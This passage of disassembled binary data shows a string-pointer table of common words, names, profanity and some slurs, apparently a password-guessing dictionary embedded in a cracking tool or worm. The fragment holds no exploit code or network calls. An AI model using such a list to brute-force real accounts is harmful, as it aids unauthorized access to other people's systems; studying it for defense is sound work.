dd offset aChemistr ; "chemistr"
dd offset aChess ; "chess"
dd offset aChester ; "chester"
dd offset aChip ; "chip"
dd offset aChris ; "chris"
dd offset aChristin ; "christin"
dd offset aChristy ; "christy"
dd offset aCigar ; "cigar"
dd offset aCigarett ; "cigarett"
dd offset aCindy ; "cindy"
dd offset aClass ; "class"
dd offset aClasses ; "classes"
dd offset aClassic ; "classic"
dd offset aClaudia ; "claudia"
dd offset aClaymore ; "claymore"
dd offset aCleavage ; "cleavage"
dd offset aClinton ; "clinton"
dd offset aCluster ; "cluster"
dd offset aClusters ; "clusters"
dd offset aCoast ; "coast"
dd offset aCocacola ; "cocacola"
dd offset aCocainco ; "cocainco"
dd offset aCock ; "cock"
dd offset aCode ; "code"
dd offset aCodename ; "codename"
dd offset aCodeword ; "codeword"
dd offset aCoffee ; "coffee"
dd offset aCoin ; "coin"
dd offset aCoke ; "coke"
dd offset aCola ; "cola"
dd offset aCold ; "cold"
dd offset aCollins ; "collins"
dd offset aColor ; "color"
dd offset aCombat ; "combat"
dd offset aComics ; "comics"
dd offset aCommit ; "commit"
dd offset aCommrade ; "commrade"
dd offset aCompany ; "company"
dd offset aComputin ; "computin"
dd offset aComrade ; "comrade"
dd offset aComrades ; "comrades"
dd offset aCondo ; "condo"
dd offset aCondom ; "condom"
dd offset aConnect ; "connect"
dd offset aConnie ; "connie"
dd offset aConserva ; "conserva"
dd offset aConsole ; "console"
dd offset aContinue ; "continue"
dd offset aCook ; "cook"
dd offset aCookbook ; "cookbook"
dd offset aCookie ; "cookie"
dd offset aCool ; "cool"
dd offset aCooper ; "cooper"
dd offset aCopper ; "copper"
dd offset aCops ; "cops"
dd offset aCopy ; "copy"
dd offset aCorneliu ; "corneliu"
dd offset aCorrect ; "correct"
dd offset aCounters ; "counters"
dd offset aCountry ; "country"
dd offset aCouscous ; "couscous"
dd offset aCowboy ; "cowboy"
dd offset aCrack ; "crack"
dd offset aCrackpot ; "crackpot"
dd offset aCream ; "cream"
dd offset aCreate ; "create"
dd offset aCreation ; "creation"
dd offset aCreature ; "creature"
dd offset aCredit ; "credit"
dd offset aCreosote ; "creosote"
dd offset aCretin ; "cretin"
dd offset aCrime ; "crime"
dd offset aCriminal ; "criminal"
dd offset aCristina ; "cristina"
dd offset aCrystal ; "crystal"
dd offset aCshrc ; "cshrc"
dd offset aCunt ; "cunt"
dd offset aCustomer ; "customer"
dd offset aCyber ; "cyber"
dd offset aCyberpun ; "cyberpun"
dd offset aCyberspa ; "cyberspa"
dd offset aCynthia ; "cynthia"
dd offset aDaemon ; "daemon"
dd offset aDaisy ; "daisy"
dd offset aDana ; "dana"
dd offset aDancer ; "dancer"
dd offset aDaniel ; "daniel"
dd offset aDanielle ; "danielle"
dd offset aDanny ; "danny"
dd offset aDapper ; "dapper"
dd offset aDark ; "dark"
dd offset aDarkaven ; "darkaven"
dd offset aData ; "data"
dd offset aDave ; "dave"
dd offset aDawn ; "dawn"
dd offset aDead ; "dead"
dd offset aDeathsta ; "deathsta"
dd offset aDebbie ; "debbie"
dd offset aDeborah ; "deborah"
dd offset aDebug ; "debug"
dd offset aDecember ; "december"
dd offset aDeck ; "deck"
dd offset aDefault ; "default"
dd offset aDefault_0 ; "DEFAULT"
dd offset aDefoe ; "defoe"
dd offset aDelta ; "delta"
dd offset aDeluge ; "deluge"
dd offset aDemocrat ; "democrat"
dd offset aDenise ; "denise"
dd offset aDennis ; "dennis"
dd offset aDesiree ; "desiree"
dd offset aDesk ; "desk"
dd offset aDesktop ; "desktop"
dd offset aDesperat ; "desperat"
dd offset aDevelop ; "develop"
dd offset aDevice ; "device"
dd offset aDial ; "dial"
dd offset aDiamond ; "diamond"
dd offset aDiana ; "diana"
dd offset aDiane ; "diane"
dd offset aDice ; "dice"
dd offset aDick ; "dick"
dd offset aDiehard ; "diehard"
dd offset aDiet ; "diet"
dd offset aDieter ; "dieter"
dd offset aDigital ; "digital"
dd offset aDinosaur ; "dinosaur"
dd offset aDipshit ; "dipshit"
dd offset aDirect ; "direct"
dd offset aDirector ; "director"
dd offset aDirty ; "dirty"
dd offset aDisc ; "disc"
dd offset aDiscipli ; "discipli"
dd offset aDisclose ; "disclose"
dd offset aDiscover ; "discover"
dd offset aDisk_0 ; "disk"
dd offset aDiskette ; "diskette"
dd offset aDisney ; "disney"
dd offset aDisplay ; "display"
dd offset aDoctor ; "doctor"
dd offset aDollar ; "dollar"
dd offset aDong ; "dong"
dd offset aDoom ; "doom"
dd offset aDoom2 ; "doom2"
dd offset aDoomii ; "doomii"
dd offset aDoomsday ; "doomsday"
dd offset aDoonesbu ; "doonesbu"
dd offset aDoor ; "door"
dd offset aDoors ; "doors"
dd offset aDope ; "dope"
dd offset aDownload ; "download"
dd offset aDragon ; "dragon"
dd offset aDrdoom ; "drdoom"
dd offset aDrive ; "drive"
dd offset aDrought ; "drought"
dd offset aDuck ; "duck"
dd offset aDude ; "dude"
dd offset aDuelist ; "duelist"
dd offset aDuke ; "duke"
dd offset aDulce ; "dulce"
dd offset aDuncan ; "duncan"
dd offset aDungeon ; "dungeon"
dd offset aDyke ; "dyke"
dd offset aEager ; "eager"
dd offset aEagle ; "eagle"
dd offset aEarth ; "earth"
dd offset aEasier ; "easier"
dd offset aEasy ; "easy"
dd offset aEatme ; "eatme"
dd offset aEcho ; "echo"
dd offset aEddie ; "eddie"
dd offset aEdges ; "edges"
dd offset aEdinburg ; "edinburg"
dd offset aEdit ; "edit"
dd offset aEdition ; "edition"
dd offset aEducation ; "education"
dd offset aEducatio ; "educatio"
dd offset aEdwin ; "edwin"
dd offset aEdwina ; "edwina"
dd offset aEgghead ; "egghead"
dd offset aEiderdow ; "eiderdow"
dd offset aEileen ; "eileen"
dd offset aEinsiein ; "einsiein"
dd offset aEinstein ; "einstein"
dd offset aElaine ; "elaine"
dd offset aElanor ; "elanor"
dd offset aElectron ; "electron"
dd offset aElephant ; "elephant"
dd offset aElizabet ; "elizabet"
dd offset aEllen ; "ellen"
dd offset aEmail ; "email"
dd offset aEmerald ; "emerald"
dd offset aEmily ; "emily"
dd offset aEmmanuel ; "emmanuel"
dd offset aEnemy ; "enemy"
dd offset aEngine ; "engine"
dd offset aEngineer ; "engineer"
dd offset aEngland ; "england"
dd offset aEnglish ; "english"
dd offset aEnter ; "enter"
dd offset aEnterpri ; "enterpri"
dd offset aEnzyme ; "enzyme"
dd offset aErenity ; "erenity"
dd offset aEric ; "eric"
dd offset aErica ; "erica"
dd offset aErika ; "erika"
dd offset aErin ; "erin"
dd offset aErotic ; "erotic"
dd offset aErsatz ; "ersatz"
dd offset aEstablis ; "establis"
dd offset aEstate ; "estate"
dd offset aEternity ; "eternity"
dd offset aEuclid ; "euclid"
dd offset aEvelyn ; "evelyn"
dd offset aExpert ; "expert"
dd offset aExplode ; "explode"
dd offset aExplore ; "explore"
dd offset aExplorer ; "explorer"
dd offset aExplosiv ; "explosiv"
dd offset aExtensio ; "extensio"
dd offset aFairway ; "fairway"
dd offset aFaith ; "faith"
dd offset aFalcon ; "falcon"
dd offset aFalse ; "false"
dd offset aFamily ; "family"
dd offset aFarad ; "farad"
dd offset aFaraday ; "faraday"
dd offset aFart ; "fart"
dd offset aFast ; "fast"
dd offset aFear ; "fear"
dd offset aFeds ; "feds"
dd offset aFelicia ; "felicia"
dd offset aFender ; "fender"
dd offset aFermat ; "fermat"
dd offset aFerrari ; "ferrari"
dd offset aFidelity ; "fidelity"
dd offset aField ; "field"
dd offset aFight ; "fight"
dd offset aFile ; "file"
dd offset aFinite ; "finite"
dd offset aFire ; "fire"
dd offset aFirewall ; "firewall"
dd offset aFishers ; "fishers"
dd offset aFlakes ; "flakes"
dd offset aFloat ; "float"
dd offset aFlorida ; "florida"
dd offset aFlower ; "flower"
dd offset aFlowers ; "flowers"
dd offset aFood ; "food"
dd offset aFool ; "fool"
dd offset aFoolproo ; "foolproo"
dd offset aFootball ; "football"
dd offset aForce ; "force"
dd offset aFord ; "ford"
dd offset aForesigh ; "foresigh"
dd offset aForever ; "forever"
dd offset aForm ; "form"
dd offset aFormat ; "format"
dd offset aFornicat ; "fornicat"
dd offset aForsythe ; "forsythe"
dd offset aFourier ; "fourier"
dd offset aFoxtrot ; "foxtrot"
dd offset aFrance ; "france"
dd offset aFrank ; "frank"
dd offset aFreak ; "freak"
dd offset aFred ; "fred"
dd offset aFree ; "free"
dd offset aFreedom ; "freedom"
dd offset aFrench ; "french"
dd offset aFriday ; "friday"
dd offset aFriend ; "friend"
dd offset aFriends ; "friends"
dd offset aFrighten ; "frighten"
dd offset aFrog ; "frog"
dd offset aFryguy ; "fryguy"
dd offset aFuck ; "fuck"
dd offset aFucker ; "fucker"
dd offset aFucking ; "fucking"
dd offset aFuckme ; "fuckme"
dd offset aFuckyou ; "fuckyou"
dd offset aFudge ; "fudge"
dd offset aFunction ; "function"
dd offset aFungible ; "fungible"
dd offset aGabriel ; "gabriel"
dd offset aGames ; "games"
dd offset aGardner ; "gardner"
dd offset aGarfield ; "garfield"
dd offset aGateway ; "gateway"
dd offset aGatherin ; "gatherin"
dd offset aGatt ; "gatt"
dd offset aGauss ; "gauss"
dd offset aGeorge ; "george"
dd offset aGerm ; "germ"
dd offset aGertrude ; "gertrude"
dd offset aGhost ; "ghost"
dd offset aGibson ; "gibson"
dd offset aGigabyte ; "gigabyte"
dd offset aGina ; "gina"
dd offset aGinger ; "ginger"
dd offset aGirl ; "girl"
dd offset aGlacier ; "glacier"
dd offset aGold ; "gold"
dd offset aGolden ; "golden"
dd offset aGolf ; "golf"
dd offset aGolfer ; "golfer"
dd offset aGood ; "good"
dd offset aGorgeous ; "gorgeous"
dd offset aGorges ; "gorges"
dd offset aGosling ; "gosling"
dd offset aGouge ; "gouge"
dd offset aGovermen ; "govermen"
dd offset aGrades ; "grades"
dd offset aGraham ; "graham"
dd offset aGrahm ; "grahm"
dd offset aGrand ; "grand"
dd offset aGrant ; "grant"
dd offset aGreat ; "great"
dd offset aGreen ; "green"
dd offset aGroup ; "group"
dd offset aGryphon ; "gryphon"
dd offset aGuardian ; "guardian"
dd offset aGucci ; "gucci"
dd offset aGuess ; "guess"
dd offset aGuitar ; "guitar"
dd offset aGumption ; "gumption"
dd offset aGuntis ; "guntis"
dd offset aHack ; "hack"
dd offset aHacked ; "hacked"
dd offset aHagar ; "hagar"
dd offset aHair ; "hair"
dd offset aHallowee ; "hallowee"
dd offset aHamlet ; "hamlet"
dd offset aHamster ; "hamster"
dd offset aHandel ; "handel"
dd offset aHandily ; "handily"
dd offset aHandjob ; "handjob"
dd offset aHappenin ; "happenin"
dd offset aHard ; "hard"
dd offset aHardcore ; "hardcore"
dd offset aHarddriv ; "harddriv"
dd offset aHarmony ; "harmony"
dd offset aHarold ; "harold"
dd offset aHarvey ; "harvey"
dd offset aHate ; "hate"
dd offset aHaven ; "haven"
dd offset aHawaii ; "hawaii"
dd offset aHead ; "head"
dd offset aHeadbang ; "headbang"
dd offset aHeat ; "heat"
dd offset aHeathen ; "heathen"
dd offset aHeather ; "heather"
dd offset aHebrides ; "hebrides"
dd offset aHeidi ; "heidi"
dd offset aHeinlein ; "heinlein"
dd offset aHell ; "hell"
dd offset aHello ; "hello"
dd offset aHelp ; "help"
dd offset aHerb ; "herb"
dd offset aHerbert ; "herbert"
dd offset aHero ; "hero"
dd offset aHeroin ; "heroin"
dd offset aHewlett ; "hewlett"
dd offset aHexadeci ; "hexadeci"
dd offset aHiawatha ; "hiawatha"
dd offset aHibernia ; "hibernia"
dd offset aHidden ; "hidden"
dd offset aHigh ; "high"
dd offset aHighland ; "highland"
dd offset aHitler ; "hitler"
dd offset aHits ; "hits"
dd offset aHole ; "hole"
dd offset aHolly ; "holly"
dd offset aHollywoo ; "hollywoo"
dd offset aHomepage ; "homepage"
dd offset aHomer ; "homer"
dd offset aHomework ; "homework"
dd offset aHoney ; "honey"
dd offset aHooker ; "hooker"
dd offset aHooters ; "hooters"
dd offset aHorny ; "horny"
dd offset aHorrible ; "horrible"
dd offset aHorror ; "horror"
dd offset aHorse ; "horse"
dd offset aHorus ; "horus"
dd offset aHost ; "host"
dd offset aHotdog ; "hotdog"
dd offset aHotel ; "hotel"
dd offset aHttp_0 ; "http"
dd offset aHunt ; "hunt"
dd offset aHunter ; "hunter"
dd offset aHutchins ; "hutchins"
dd offset aHydrogen ; "hydrogen"
dd offset aHyper ; "hyper"
dd offset aHypertxt ; "hypertxt"
dd offset aIcecream ; "icecream"
dd offset aIllumina ; "illumina"
dd offset aImage ; "image"
dd offset aImbrogli ; "imbrogli"
dd offset aImmortal ; "immortal"
dd offset aImperial ; "imperial"
dd offset aInclude ; "include"
dd offset aIndia ; "india"
dd offset aIndian ; "indian"
dd offset aIndiana ; "indiana"
dd offset aIndians ; "indians"
dd offset aIngres ; "ingres"
dd offset aIngress ; "ingress"
dd offset aIngrid ; "ingrid"
dd offset aInna ; "inna"
dd offset aInnocuou ; "innocuou"
dd offset aInput ; "input"
dd offset aInside ; "inside"
dd offset aInteger ; "integer"
dd offset aInvent ; "invent"
dd offset aIrene ; "irene"
dd offset aIrishman ; "irishman"
dd offset aIsis ; "isis"
dd offset aJackie ; "jackie"
dd offset aJail ; "jail"
dd offset aJane ; "jane"
dd offset aJanet ; "janet"
dd offset aJanice ; "janice"
dd offset aJanie ; "janie"
dd offset aJapan ; "japan"
dd offset aJasmin ; "jasmin"
dd offset aJava ; "java"
dd offset aJazz ; "jazz"
dd offset aJean ; "jean"
dd offset aJeanne ; "jeanne"
dd offset aJeff ; "jeff"
dd offset aJenni ; "jenni"
dd offset aJennifer ; "jennifer"
dd offset aJenny ; "jenny"
dd offset aJerry ; "jerry"
dd offset aJerusale ; "jerusale"
dd offset aJessica ; "jessica"
dd offset aJester ; "jester"
dd offset aJewelry ; "jewelry"
dd offset aJill ; "jill"
dd offset aJixian ; "jixian"
dd offset aJoanne ; "joanne"
dd offset aJody ; "jody"
dd offset aJohn ; "john"
dd offset aJohndoe ; "johndoe"
dd offset aJohnny ; "johnny"
dd offset aJoseph ; "joseph"
dd offset aJoshua ; "joshua"
dd offset aJournal ; "journal"
dd offset aJoyce ; "joyce"
dd offset aJudith ; "judith"
dd offset aJudy ; "judy"
dd offset aJuggle ; "juggle"
dd offset aJuicy ; "juicy"
dd offset aJulia ; "julia"
dd offset aJulie ; "julie"
dd offset aJuliet ; "juliet"
dd offset aJune ; "june"
dd offset aJupiter ; "jupiter"
dd offset aKaka ; "kaka"
dd offset aKaren ; "karen"
dd offset aKarie ; "karie"
dd offset aKarina ; "karina"
dd offset aKatana ; "katana"
dd offset aKate ; "kate"
dd offset aKathleen ; "kathleen"
dd offset aKathrine ; "kathrine"
dd offset aKathy ; "kathy"
dd offset aKatina ; "katina"
dd offset aKatrina ; "katrina"
dd offset aKelly ; "kelly"
dd offset aKeri ; "keri"
dd offset aKermit ; "kermit"
dd offset aKernel ; "kernel"
dd offset aKerri ; "kerri"
dd offset aKerrie ; "kerrie"
dd offset aKerry ; "kerry"
dd offset aKevin ; "kevin"
dd offset aKewl ; "kewl"
dd offset aKeybord ; "keybord"
dd offset aKeyin ; "keyin"
dd offset aKeyword ; "keyword"
dd offset aKids ; "kids"
dd offset aKill ; "kill"
dd offset aKillthem ; "killthem"
dd offset aKilo ; "kilo"
dd offset aKimberly ; "kimberly"
dd offset aKing ; "king"
dd offset aKirk ; "kirk"
dd offset aKirkland ; "kirkland"
dd offset aKiss ; "kiss"
dd offset aKissmyas ; "kissmyas"
dd offset aKitten ; "kitten"
dd offset aKlingon ; "klingon"
dd offset aKnife ; "knife"
dd offset aKnight ; "knight"
dd offset aKnightma ; "knightma"
dd offset aKnown ; "known"
dd offset aKrista ; "krista"
dd offset aKristen ; "kristen"
dd offset aKristi ; "kristi"
dd offset aKristie ; "kristie"
dd offset aKristin ; "kristin"
dd offset aKristine ; "kristine"
dd offset aKristy ; "kristy"
dd offset aLadies ; "ladies"
dd offset aLadle ; "ladle"
dd offset aLakers ; "lakers"
dd offset aLambda ; "lambda"
dd offset aLaminati ; "laminati"
dd offset aLana ; "lana"
dd offset aLaptop ; "laptop"
dd offset aLara ; "lara"
dd offset aLarkin ; "larkin"
dd offset aLarry ; "larry"
dd offset aLaser ; "laser"
dd offset aLaura ; "laura"
dd offset aLava ; "lava"
dd offset aLazarus ; "lazarus"
dd offset aLazer ; "lazer"
dd offset aLeah ; "leah"
dd offset aLebesgue ; "lebesgue"
dd offset aLeft ; "left"
dd offset aLeftwing ; "leftwing"
dd offset aLegal ; "legal"
dd offset aLeland ; "leland"
dd offset aLeroy ; "leroy"
dd offset aLesbian ; "lesbian"
dd offset aLeslie ; "leslie"
dd offset aLetmein ; "letmein"
dd offset aLewis ; "lewis"
dd offset aLexluthe ; "lexluthe"
dd offset aLiberal ; "liberal"
dd offset aLibrary ; "library"
dd offset aLick ; "lick"
dd offset aLicker ; "licker"
dd offset aLife ; "life"
dd offset aLight ; "light"
dd offset aLightsab ; "lightsab"
dd offset aLima ; "lima"
dd offset aLimbaugh ; "limbaugh"
dd offset aLimited ; "limited"
dd offset aLinda ; "linda"
dd offset aLink ; "link"
dd offset aLion ; "lion"
dd offset aLips ; "lips"
dd offset aLisa ; "lisa"
dd offset aLisp ; "lisp"
dd offset aLiteratu ; "literatu"
dd offset aLive ; "live"
dd offset aLoad ; "load"
dd offset aLock ; "lock"
dd offset aLockout ; "lockout"
dd offset aLockword ; "lockword"
dd offset aLogic ; "logic"
dd offset aLoginwor ; "loginwor"
dd offset aLogout ; "logout"
dd offset aLois ; "lois"
dd offset aLolopc ; "lolopc"
dd offset aLoose ; "loose"
dd offset aLore ; "lore"
dd offset aLori ; "lori"
dd offset aLorin ; "lorin"
dd offset aLorraine ; "lorraine"
dd offset aLoser ; "loser"
dd offset aLouis ; "louis"
dd offset aLovebug ; "lovebug"
dd offset aLover ; "lover"
dd offset aLuck ; "luck"
dd offset aLucus ; "lucus"
dd offset aLucy ; "lucy"
dd offset aLude ; "lude"
dd offset aLuke ; "luke"
dd offset aLust ; "lust"
dd offset aLynn ; "lynn"
dd offset aLynne ; "lynne"
dd offset aMachine ; "machine"
dd offset aMacintos ; "macintos"
dd offset aMack ; "mack"
dd offset aMacro ; "macro"
dd offset aMaggot ; "maggot"
dd offset aMagic ; "magic"
dd offset aMagnet ; "magnet"
dd offset aMail ; "mail"
dd offset aMaint ; "maint"
dd offset aMalcolm ; "malcolm"
dd offset aMalcom ; "malcom"
dd offset aMana ; "mana"
dd offset aManager ; "manager"
dd offset aMara ; "mara"
dd offset aMarci ; "marci"
dd offset aMarcy ; "marcy"
dd offset aMaria ; "maria"
dd offset aMariens ; "mariens"
dd offset aMarietta ; "marietta"
dd offset aMarijuan ; "marijuan"
dd offset aMarines ; "marines"
dd offset aMark ; "mark"
dd offset aMarkus ; "markus"
dd offset aMarni ; "marni"
dd offset aMarriage ; "marriage"
dd offset aMars ; "mars"
dd offset aMarty ; "marty"
dd offset aMarvin ; "marvin"
dd offset aMary ; "mary"
dd offset aMason ; "mason"
dd offset aMaster ; "master"
dd offset aMath ; "math"
dd offset aMaurice ; "maurice"
dd offset aMeagan ; "meagan"
dd offset aMegabyte ; "megabyte"
dd offset aMegadeth ; "megadeth"
dd offset aMegan ; "megan"
dd offset aMelissa ; "melissa"
dd offset aMellon ; "mellon"
dd offset aMelrose ; "melrose"
dd offset aMember ; "member"
dd offset aMemory ; "memory"
dd offset aMenace ; "menace"
dd offset aMenu ; "menu"
dd offset aMercury ; "mercury"
dd offset aMerlin ; "merlin"
dd offset aMetal ; "metal"
dd offset aMetalhea ; "metalhea"
dd offset aMetalica ; "metalica"
dd offset aMets ; "mets"
dd offset aMice ; "mice"
dd offset aMichael ; "michael"
dd offset aMichel ; "michel"
dd offset aMichelan ; "michelan"
dd offset aMichele ; "michele"
dd offset aMichelle ; "michelle"
dd offset aMickey ; "mickey"
dd offset aMicro ; "micro"
dd offset aMicrochi ; "microchi"
dd offset aMicropro ; "micropro"
dd offset aMicrosof ; "microsof"
dd offset aMidieval ; "midieval"
dd offset aMike ; "mike"
dd offset aMine ; "mine"
dd offset aMinimum ; "minimum"
dd offset aMinsky ; "minsky"
dd offset aMisfit ; "misfit"
dd offset aMission ; "mission"
dd offset aMkii ; "mkii"
dd offset aMode ; "mode"
dd offset aModem ; "modem"
dd offset aMogul ; "mogul"
dd offset aMoguls ; "moguls"
dd offset aMonday ; "monday"
dd offset aMonica ; "monica"
dd offset aMoom ; "moom"
dd offset aMoor ; "moor"
dd offset aMoose ; "moose"
dd offset aMore ; "more"
dd offset aMorley ; "morley"
dd offset aMorris ; "morris"
dd offset aMortal ; "mortal"
dd offset aMortalco ; "mortalco"
dd offset aMortgage ; "mortgage"
dd offset aMosaic ; "mosaic"
dd offset aMountain ; "mountain"
dd offset aMouse ; "mouse"
dd offset aMove ; "move"
dd offset aMovie ; "movie"
dd offset aMovies ; "movies"
dd offset aMozart ; "mozart"
dd offset aMpeg ; "mpeg"
dd offset aMsdos ; "msdos"
dd offset aMuppets ; "muppets"
dd offset aMutant ; "mutant"
dd offset aNagel ; "nagel"
dd offset aName ; "name"
dd offset aNancy ; "nancy"
dd offset aNapoleon ; "napoleon"
dd offset aNasa ; "nasa"
dd offset aNavy ; "navy"
dd offset aNepenthe ; "nepenthe"
dd offset aNeptune ; "neptune"
dd offset aNess ; "ness"
dd offset aNetscape ; "netscape"
dd offset aNetwork_0 ; "network"
dd offset aNewborn ; "newborn"
dd offset aNews ; "news"
dd offset aNewsgrou ; "newsgrou"
dd offset aNewton ; "newton"
dd offset aNewyork ; "newyork"
dd offset aNext ; "next"
dd offset aNice ; "nice"
dd offset aNicole ; "nicole"
dd offset aNicotine ; "nicotine"
dd offset aNight ; "night"
dd offset aNightmar ; "nightmar"
dd offset aNintendo ; "nintendo"
dd offset aNita ; "nita"
dd offset aNnaacp ; "nnaacp"
dd offset aNoble ; "noble"
dd offset aNobody ; "nobody"
dd offset aNode ; "node"
dd offset aNoreen ; "noreen"
dd offset aNotes ; "notes"
dd offset aNoth ; "noth"
dd offset aNova ; "nova"
dd offset aNovel ; "novel"
dd offset aNovember ; "november"
dd offset aNoxious ; "noxious"
dd offset aNuclear ; "nuclear"
dd offset aNude ; "nude"
dd offset aNuke ; "nuke"
dd offset aNukem ; "nukem"
dd offset aNull_1 ; "null"
dd offset aNumber ; "number"
dd offset aNutritio ; "nutritio"
dd offset aNuts ; "nuts"
dd offset aNyquist ; "nyquist"
dd offset aObscurit ; "obscurit"
dd offset aOceanogr ; "oceanogr"
dd offset aOcelot ; "ocelot"
dd offset aOffice ; "office"
dd offset aOkay ; "okay"
dd offset aOldage ; "oldage"
dd offset aOlivetti ; "olivetti"
dd offset aOlivia ; "olivia"
dd offset aOmega ; "omega"
dd offset aOpen ; "open"
dd offset aOpening ; "opening"
dd offset aOpenlock ; "openlock"
dd offset aOpensesa ; "opensesa"
dd offset aOperator ; "operator"
dd offset aOrca ; "orca"
dd offset aOrient ; "orient"
dd offset aOrwell ; "orwell"
dd offset aOscar ; "oscar"
dd offset aOsiris ; "osiris"
dd offset aOutdoors ; "outdoors"
dd offset aOutlaw ; "outlaw"
dd offset aOutput ; "output"
dd offset aOutside ; "outside"
dd offset aOxford ; "oxford"
dd offset aPacific ; "pacific"
dd offset aPackard ; "packard"
dd offset aPacker ; "packer"
dd offset aPainless ; "painless"
dd offset aPaint ; "paint"
dd offset aPakistan ; "pakistan"
dd offset aPamela ; "pamela"
dd offset aPapa ; "papa"
dd offset aPaper ; "paper"
dd offset aPapers ; "papers"
dd offset aPascal ; "pascal"
dd offset aPassphra ; "passphra"
dd offset aPaste ; "paste"
dd offset aPatricia ; "patricia"
dd offset aPatriot ; "patriot"
dd offset aPatty ; "patty"
dd offset aPaula ; "paula"
dd offset aPeanuts ; "peanuts"
dd offset aPecker ; "pecker"
dd offset aPencil ; "pencil"
dd offset aPenelope ; "penelope"
dd offset aPenguin ; "penguin"
dd offset aPenis ; "penis"
dd offset aPenname ; "penname"
dd offset aPentagon ; "pentagon"
dd offset aPentagra ; "pentagra"
dd offset aPenthous ; "penthous"
dd offset aPentium ; "pentium"
dd offset aPeoria ; "peoria"
dd offset aPepper ; "pepper"
dd offset aPercolat ; "percolat"
dd offset aPerfect ; "perfect"
dd offset aPermit ; "permit"
dd offset aPersimmo ; "persimmo"
dd offset aPersona ; "persona"
dd offset aPervert ; "pervert"
dd offset aPete ; "pete"
dd offset aPeter ; "peter"
dd offset aPhil ; "phil"
dd offset aPhilip ; "philip"
dd offset aPhoenix ; "phoenix"
dd offset aPhone ; "phone"
dd offset aPhoton ; "photon"
dd offset aPhrack ; "phrack"
dd offset aPhrase ; "phrase"
dd offset aPhreak ; "phreak"
dd offset aPhuck ; "phuck"
dd offset aPick ; "pick"
dd offset aPierre ; "pierre"
dd offset aPimp ; "pimp"
dd offset aPinname ; "pinname"
dd offset aPiss ; "piss"
dd offset aPizza ; "pizza"
dd offset aPlane ; "plane"
dd offset aPlayboy ; "playboy"
dd offset aPlover ; "plover"
dd offset aPluto ; "pluto"
dd offset aPlymouth ; "plymouth"
dd offset aPoetry ; "poetry"
dd offset aPolice ; "police"
dd offset aPolly ; "polly"
dd offset aPolynomi ; "polynomi"
dd offset aPonderin ; "ponderin"
dd offset aPoop ; "poop"
dd offset aPoor ; "poor"
dd offset aPork ; "pork"
dd offset aPorn ; "porn"
dd offset aPorno ; "porno"
dd offset aPorsche ; "porsche"
dd offset aPost ; "post"
dd offset aPoster ; "poster"
dd offset aPower ; "power"
dd offset aPraise ; "praise"
dd offset aPrecious ; "precious"
dd offset aPrelude ; "prelude"
dd offset aPresto ; "presto"
dd offset aPrince ; "prince"
dd offset aPrinceto ; "princeto"
dd offset aPrinter ; "printer"
dd offset aPriv ; "priv"
dd offset aPrivate ; "private"
dd offset aPrivs ; "privs"
dd offset aProceed ; "proceed"
dd offset aProcesso ; "processo"
dd offset aProfesso ; "professo"
dd offset aProfile ; "profile"
dd offset aProgram ; "program"
dd offset aPrompt ; "prompt"
dd offset aProtect ; "protect"
dd offset aProtozoa ; "protozoa"
dd offset aPsycho ; "psycho"
dd offset aPsychopa ; "psychopa"
dd offset aPublic ; "public"
dd offset aPuck ; "puck"
dd offset aPuke ; "puke"
dd offset aPumpkin ; "pumpkin"
dd offset aPuneet ; "puneet"
dd offset aPunisher ; "punisher"
dd offset aPunk ; "punk"
dd offset aPuppet ; "puppet"
dd offset aPussy ; "pussy"
dd offset aQuebec ; "quebec"
dd offset aQwert ; "qwert"
dd offset aQwerty ; "qwerty"
dd offset aRabbit ; "rabbit"
dd offset aRachel ; "rachel"
dd offset aRachelle ; "rachelle"
dd offset aRachmani ; "rachmani"
dd offset aRaid ; "raid"
dd offset aRain ; "rain"
dd offset aRainbow ; "rainbow"
dd offset aRaindrop ; "raindrop"
dd offset aRaleigh ; "raleigh"
dd offset aRandom ; "random"
dd offset aRape ; "rape"
dd offset aRascal ; "rascal"
dd offset aRazor ; "razor"
dd offset aReagan ; "reagan"
dd offset aReality ; "reality"
dd offset aReally ; "really"
dd offset aReam ; "ream"
dd offset aReaper ; "reaper"
dd offset aRebal ; "rebal"
dd offset aRebecca ; "rebecca"
dd offset aRebel ; "rebel"
dd offset aRecord ; "record"
dd offset aReddawn ; "reddawn"
dd offset aRedhead ; "redhead"
dd offset aReferenc ; "referenc"
dd offset aRegional ; "regional"
dd offset aRelease ; "release"
dd offset aRemote ; "remote"
dd offset aRenee ; "renee"
dd offset aReno ; "reno"
dd offset aRent ; "rent"
dd offset aReport ; "report"
dd offset aRepublic ; "republic"
dd offset aResistan ; "resistan"
dd offset aReveal ; "reveal"
dd offset aRhino ; "rhino"
dd offset aRich ; "rich"
dd offset aRick ; "rick"
dd offset aRiffraff ; "riffraff"
dd offset aRight ; "right"
dd offset aRightwin ; "rightwin"
dd offset aRing ; "ring"
dd offset aRiot ; "riot"
dd offset aRipple ; "ripple"
dd offset aRisc ; "risc"
dd offset aRoach ; "roach"
dd offset aRobert ; "robert"
dd offset aRobin ; "robin"
dd offset aRobot ; "robot"
dd offset aRobotics ; "robotics"
dd offset aRobyn ; "robyn"
dd offset aRochelle ; "rochelle"
dd offset aRocheste ; "rocheste"
dd offset aRock ; "rock"
dd offset aRocky ; "rocky"
dd offset aRockyhor ; "rockyhor"
dd offset aRodent ; "rodent"
dd offset aRolex ; "rolex"
dd offset aRomano ; "romano"
dd offset aRomeo ; "romeo"
dd offset aRomulan ; "romulan"
dd offset aRonald ; "ronald"
dd offset aRose ; "rose"
dd offset aRosebud ; "rosebud"
dd offset aRosemary ; "rosemary"
dd offset aRoses ; "roses"
dd offset aRough ; "rough"
dd offset aRubber ; "rubber"
dd offset aRuben ; "ruben"
dd offset aRuby ; "ruby"
dd offset aRude ; "rude"
dd offset aRules ; "rules"
dd offset aRunning ; "running"
dd offset aRush ; "rush"
dd offset aRuth ; "ruth"
dd offset aSafe ; "safe"
dd offset aSalami ; "salami"
dd offset aSale ; "sale"
dd offset aSalt ; "salt"
dd offset aSamantha ; "samantha"
dd offset aSample ; "sample"
dd offset aSandra ; "sandra"
dd offset aSandy ; "sandy"
dd offset aSara ; "sara"
dd offset aSarah ; "sarah"
dd offset aSaturday ; "saturday"
dd offset aSaturn ; "saturn"
dd offset aSaxon ; "saxon"
dd offset aScamper ; "scamper"
dd offset aScheme ; "scheme"
dd offset aSchool ; "school"
dd offset aSchoolsucks ; "schoolsucks"
dd offset aScifi ; "scifi"
dd offset aScorpion ; "scorpion"
dd offset aScott ; "scott"
dd offset aScotty ; "scotty"
dd offset aScout ; "scout"
dd offset aSearch ; "search"
dd offset aSecurity ; "security"
dd offset aSeed ; "seed"
dd offset aSega ; "sega"
